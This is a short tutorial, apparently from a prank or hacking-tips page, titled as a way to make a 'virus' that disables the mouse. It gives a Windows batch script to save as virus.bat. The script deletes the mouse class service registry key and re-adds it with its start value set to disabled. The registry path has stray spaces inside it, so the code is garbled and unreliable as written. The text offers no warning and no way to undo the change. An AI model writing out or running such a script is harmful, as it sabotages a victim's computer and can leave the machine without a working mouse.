How to Disable Mouse with own made Virus

Open Notepad and copy below codes


rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL _MACHINE\system \CurrentControl Set\Services\Mo uclass"
reg delete %key%
reg add %key% /vStart /t REG_DWORD /d4
rem ---------------------------------

Save this file as virus.bat
Done you just created your virus.